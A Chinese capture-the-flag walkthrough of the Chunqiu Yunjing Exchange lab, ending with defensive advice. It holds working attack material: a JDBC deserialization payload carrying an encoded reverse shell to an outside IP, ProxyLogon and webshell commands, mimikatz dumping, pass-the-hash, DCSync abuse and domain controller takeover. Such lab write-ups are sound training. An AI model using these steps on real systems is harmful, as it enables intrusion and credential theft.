内网渗透之春秋云镜(2)-Exchange
字数 1777
更新时间 2025-08-23 18:50:46

春秋云镜Exchange内网渗透实战教学文档

1. 环境概述

本次渗透测试目标为春秋云镜Exchange靶场环境,主要涉及以下系统和服务:

  • 华夏ERP系统 (端口8000)
  • Exchange Server 2016 (172.22.3.9)
  • 域控制器 (172.22.3.2)
  • 域内PC (172.22.3.26)

2. Flag1获取 - 华夏ERP漏洞利用

2.1 信息收集

使用fscan扫描发现8000端口开放,访问后为华夏ERP系统登录界面。

2.2 信息泄露漏洞

发现用户信息泄露接口:

http://39.98.108.154:8000/user/getAllList;.ico

返回JSON包含用户列表及MD5加密的密码:

{
  "code":200,
  "data":{
    "userList":[
      {"loginName":"jsh","password":"e10adc3949ba59abbe56e057f20f883e"},
      {"loginName":"admin","password":"e10adc3949ba59abbe56e057f20f883e"},
      {"loginName":"test123","password":"e10adc3949ba59abbe56e057f20f883e"}
    ]
  }
}

所有密码MD5解密后均为"123456"。

2.3 JDBC反序列化漏洞利用

参考蓝帽杯2022决赛-赌怪writeup,利用JDBC反序列化漏洞。

攻击步骤:

  1. 准备ysoserial-all.jar和server.py
  2. 构造payload,使用CommonsCollections6链
  3. 注意Java版本要求:OpenJDK 1.8.0_382无法成功,需使用1.1.0版本
  4. URL编码payload后发送请求:
/user/list?search=7B%20%22name%22%3A%20%7B%20%22%40type%22%3A%20%22java.lang.AutoCloseable%22%2C%20%22%40type%22%3A%20%22com.mysql.jdbc.JDBC4Connection%22%2C%20%22hostToConnectTo%22%3A%20%22120.77.200.94%22%2C%20%22portToConnectTo%22%3A%203306%2C%20%22info%22%3A%20%7B%20%22user%22%3A%20%22yso_CommonsCollections6_bash%20-c%20%7Becho%2CYmFzaCAtaSA%2BJiAvZGV2L3RjcC80My4xMzguNTAuNzIvMzMzMyAwPiYx%7D%7C%7Bbase64%2C-d%7D%7C%7Bbash%2C-i%7D%22%2C%20%22password%22%3A%20%22pass%22%2C%20%22statementInterceptors%22%3A%20%22com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor%22%2C%20%22autoDeserialize%22%3A%20%22true%22%2C%20%22NUM_HOSTS%22%3A%20%221%22%20%7D%20%7D
  1. 成功获取反弹shell并取得flag1

3. Flag2获取 - Exchange Server渗透

3.1 内网信息收集

上传fscan进行内网扫描,发现以下关键主机:

  • 172.22.3.9 (XIAORANG-EXC01) - Exchange Server
  • 172.22.3.2 (XIAORANG-WIN16) - 域控制器
  • 172.22.3.26 (XIAORANG-PC) - 域内PC

3.2 ProxyLogon漏洞利用

使用ProxyLogon漏洞攻击Exchange Server:

proxychains python2 proxylogon.py 172.22.3.9 administrator@xiaorang.lab

成功获取shell后添加用户:

net user lky qwer1234! /add
net localgroup administrators lky /add

直接获取flag2:flag{5721ef82-5358-4745-8f00-ab9e06528868}

3.3 替代方法 - 写入Webshell

使用exprolog.py写入webshell,验证命令执行:

proxychains curl --request POST --url https://172.22.3.9/owa/auth/a4l9e.aspx \
--header 'Content-Type: application/x-www-form-urlencoded' \
--data 'request=Response.Write(new ActiveXObject("WScript.Shell").exec("whoami /all").stdout.readall())' -k

4. Flag4获取 - 域渗透

4.1 凭证提取

上传mimikatz提取凭证:

privilege::debug
sekurlsa::logonpasswords

获取到以下关键凭证:

  • 用户Zhangtong的NTLM哈希:22c7f81993e96ac83ac2f3f1903de8b4
  • 机器账户XIAORANG-EXC01$的NTLM哈希:fd8408d2e99712fd9c0e3f9ff5a4a68a

4.2 哈希传递攻击

使用XIAORANG-EXC01$的哈希登录:

proxychains xfreerdp /pth:fd8408d2e99712fd9c0e3f9ff5a4a68a \
/u:XIAORANG-EXC01$ /v:172.22.3.9:3389

4.3 BloodHound分析

发现EXC01机器账户对域内成员具有WriteDacl权限,可以修改其他账户的ACL。

4.4 授予DCSync权限

使用dacledit.py为Zhangtong添加DCSync权限:

proxychains python3 dacledit.py xiaorang.lab/XIAORANG-EXC01\$ \
-hashes :4de6c4eeee1f315e1241c4a813e2b3b5 -action write -rights DCSync \
-principal Zhangtong -target-dn "DC=xiaorang,DC=lab" -dc-ip 172.22.3.2

4.5 提取域哈希

使用secretsdump.py提取域哈希:

proxychains python3 secretsdump.py xiaorang.lab/Zhangtong@172.22.3.2 \
-hashes :22c7f81993e96ac83ac2f3f1903de8b4 -just-dc-ntlm

获取域管理员Administrator的NTLM哈希:7acbc09a6c0efd81bfa7d5a1d4238beb

4.6 域控接管

使用wmiexec.py获取域控shell:

proxychains python3 wmiexec.py xiaorang.lab/Administrator@172.22.3.2 \
-hashes :7acbc09a6c0efd81bfa7d5a1d4238beb -dc-ip 172.22.3.2

5. Flag3获取 - Exchange邮件内容提取

5.1 使用PTH_Exchange工具

proxychains python3 pthexchange.py --target https://172.22.3.9/ \
--username Lumia --password '00000000000000000000000000000000:862976f8b23c13529c2fb1428e710296' \
--action Download

5.2 破解加密压缩包

  1. 从邮件内容中提取电话信息保存为1.txt
  2. 使用zip2john和john破解:
zip2john secret.zip > zip.txt
john --wordlist=1.txt zip.txt
  1. 使用破解出的密码解压获取flag3

6. 关键工具列表

  1. fscan - 内网扫描工具
  2. ysoserial-all.jar - Java反序列化利用工具
  3. proxylogon.py - Exchange ProxyLogon漏洞利用脚本
  4. mimikatz - Windows凭证提取工具
  5. dacledit.py - 修改AD对象ACL的工具
  6. secretsdump.py - 从域控提取哈希的工具
  7. wmiexec.py - WMI远程执行工具
  8. pthexchange.py - Exchange邮件内容提取工具
  9. zip2john/john - 压缩包密码破解工具

7. 防御建议

  1. 及时修补Exchange服务器漏洞
  2. 限制敏感接口的访问权限
  3. 监控异常的用户行为
  4. 加强服务账户权限管理
  5. 实施多因素认证
  6. 定期审计域内权限分配
  7. 加密存储敏感凭证信息
相似文章
相似文章
 全屏